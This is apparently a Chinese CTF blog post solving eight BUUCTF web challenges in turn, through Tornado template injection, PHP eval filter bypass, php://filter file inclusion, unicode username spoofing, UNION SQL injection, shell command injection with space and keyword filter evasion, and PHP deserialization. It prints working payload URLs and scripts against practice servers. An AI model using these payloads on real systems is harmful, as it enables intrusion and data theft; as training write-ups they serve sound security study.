Week 2 <2020.07.20 - 2020.07.26>

[护网杯 2018]easy_tornado

打开页面有三个链接:

/flag.txt

/welcome.txt

/hints.txt

分别给出:

flag in /fllllllllllllag

render

md5(cookie_secret+md5(filename))

结合URL特征:http://ee3fa51c-355d-4079-a6d4-24116f301eda.node3.buuoj.cn/file?filename=/hints.txt&filehash=3f454049785f959f97757dbebee486b8

可以推断出payload:filename = /fllllllllllllag并且filehash = md5(cookie_secret+md5(filename))

目标是取得cookie_secret

试着用错误的filehash读一下,有报错页面

http://ee3fa51c-355d-4079-a6d4-24116f301eda.node3.buuoj.cn/error?msg=Error

判断是SSTI模板注入
payload:
http://ee3fa51c-355d-4079-a6d4-24116f301eda.node3.buuoj.cn/error?msg=1
的确是SSTI注入

考点:handler.settings对象

tornado中
handler对象指向RequestHandler
RequestHandler指向self.application.settings
故handler.setting对象指向RequestHandler.application.settings

则可获取到cookie_secret

payload:http://ee3fa51c-355d-4079-a6d4-24116f301eda.node3.buuoj.cn/error?msg=

1
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '48ebd54e-1647-4fc6-beee-ce1cefb446c6'}

编写解密脚本
1
2
3
4
5
6
7
8
9
10
import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="48ebd54e-1647-4fc6-beee-ce1cefb446c6"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

1
d2e43f158934b47a48cb9f125b554173

payload:
http://ee3fa51c-355d-4079-a6d4-24116f301eda.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=d2e43f158934b47a48cb9f125b554173

flag{056f8da6-43bc-491e-b37d-6ffd146a6287}

[极客大挑战 2019]Havefun

过程很简单,打开网页查看源代码:

<!—
$cat=$_GET[‘cat’];
echo $cat;
if($cat==’dog’){
echo ‘Syc{cat_cat_cat_cat}’;
}
—>

payload:http://40c9cea3-f867-4b85-a444-218c3812204d.node3.buuoj.cn/?cat=dog

结束

flag{a1a1a5b3-e28f-4403-8ccd-9b8ab4a73686}

[RoarCTF 2019]Easy Calc

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>

查看一下calc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

绕过方法:php字符串解析特性,在num参数前加空格就可以绕过waf

扫描目录:payload:http://node3.buuoj.cn:28534/calc.php?%20num=1;var_dump(scandir(chr(47)))

1
1array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

flag在“flagg”中
payload:http://node3.buuoj.cn:28534/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

flag{55af2ea6-292a-452b-b89b-223b3b2a4561}

[极客大挑战 2019]Secret File

打开网站,查看源代码:(27行)

1
<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>

发现一个隐藏链接,进入

image-20200726161728627

点击跳转到了end.php,但是查看源代码发现该链接目标是”./action.php

推断action.php自动跳转到了end.php

BurpSuite抓包:

image-20200726161711389

发现 secr3t.php 内容:

1
<html>    <title>secret</title>    <meta charset="UTF-8"><?php    highlight_file(__FILE__);    error_reporting(0);    $file=$_GET['file'];    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){        echo "Oh no!";        exit();    }    include($file); //flag放在了flag.php里?></html>

image-20200726161601390

看不到。。

分析secr3t.php文件包含漏洞,有若干过滤

绕过 :

secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

获得base64加密:

1
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MGE4MjIyZjctN2U2Ni00Y2JlLWE1ZGYtMWEyNTJjOGIxMjU3fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

解密找到flag

flag{0a8222f7-7e66-4cbe-a5df-1a252c8b1257}

[HCTF 2018]admin

启动有登录注册页面,随便注册一个账号登入,开始检查源代码,

发现,确认是要登入到admin账户

在change password页面发现了源码github地址https://github.com/woadsl1234/hctf_flask/

已知解法:

  1. flask session 伪造

  2. unicode欺骗

flask session 伪造:

unicode欺骗:

源码片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
@app.route('/register', methods = ['GET', 'POST'])
def register():

if current_user.is_authenticated:
return redirect(url_for('index'))

form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))

form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)

@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)

三者都包含strlower()方法

1
2
3
def strlower(username):
username = nodeprep.prepare(username) #突破点
return usernamenode

此处的nodeprep.prepare()方法存在unicode欺骗漏洞,将修饰字符转换为大写字符,大写字符转换为小写字符

也就有ᴬᴰᴹᴵᴺ -> ADMIN -> admin

所以只需要完成两次转换就可以将用户名为ᴬᴰᴹᴵᴺ的账户转换为admin账户

使用注册为ᴬᴰᴹᴵᴺ的账户登录,再修改密码,则被处理为admin账户修改密码,然后再登录admin

获得flag;

flag{b7342597-7fc6-4146-98ab-b4c1443ce753}

[极客大挑战 2019]LoveSQL

按照常规步骤来,猜字段数:

/check.php?username=admin%27%20order%20by%203%23&password=1

/check.php?username=admin%27%20order%20by%204%23&password=1

image-20200727204609263

共三个字段,查询数据库和版本:

/check.php?username=1’ union select 1,database(),version()%23&password=1

image-20200727204950937

爆表名:

/check.php?username=1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

image-20200727205104979

试一下,flag在

/check.php?username=1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’l0ve1ysq1’%23&password=1

image-20200727205218835

/check.php?username=1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

得到flag

flag{8ba619ad-ff86-456c-9955-0054285ff898}

[GXYCTF2019]Ping Ping Ping

ping一下

image-20200727180048625

应该是命令执行获取flag,考察绕过过滤

payload:http://ee4788ec-e3b2-4db9-b9a7-619d14d8465c.node3.buuoj.cn/?ip=127.0.0.1|ls

image-20200727180230984

payload:http://ee4788ec-e3b2-4db9-b9a7-619d14d8465c.node3.buuoj.cn/?ip=127.0.0.1|cat%20flag.php

image-20200727180403904

空格是被过滤了的,那先绕过空格过滤查看一下index.php

payload:?ip=127.0.0.1;cat$IFS$1index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>

flag也是过滤目标,bash过滤,可以使用sh

payload:?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
(cat flag.php)
查看源代码可得flag

或者payload:?ip=127.0.0.1;cat$IFS$1ls

方法名叫内联执行
方法:将反引号内命令的输出作为输入执行

flag{8f4cba81-d281-497f-a4c0-5ba185fd0a49}

[极客大挑战 2019]PHP

image-20200727161336050

文件有备份,直接扫描目录,发现有www.zip

image-20200727154736861

解压有以下文件:

image-20200727161730674

flag.php里有个flag,但是是错的

index.php,这里进行了序列化

1
2
3
4
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>

考点是反序列化漏洞 https://paper.seebug.org/866/

当一个类被初始化为实例时会调用construct,当被销毁时会调用destruct。

当一个类调用serialize进行序列化时会自动调用sleep函数,当字符串要利用unserialize反序列化成一个类时会调用wakeup函数

序列化特征:

protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。

构造
O:4:”Name”:2:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;}
这里将属性个数2改为3,可以达到绕过__wakeup函数的目的

所以O:4:”Name”:3:{s:14:”\0Name\0username”;s:5:”admin”;s:14:”\0Name\0password”;i:100;}

脚本:

1
2
3
4
5
import  requests

url =" " #target
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text)

运行找到了flag{fbaad1fb-28a3-4e65-9db6-412826fedb00}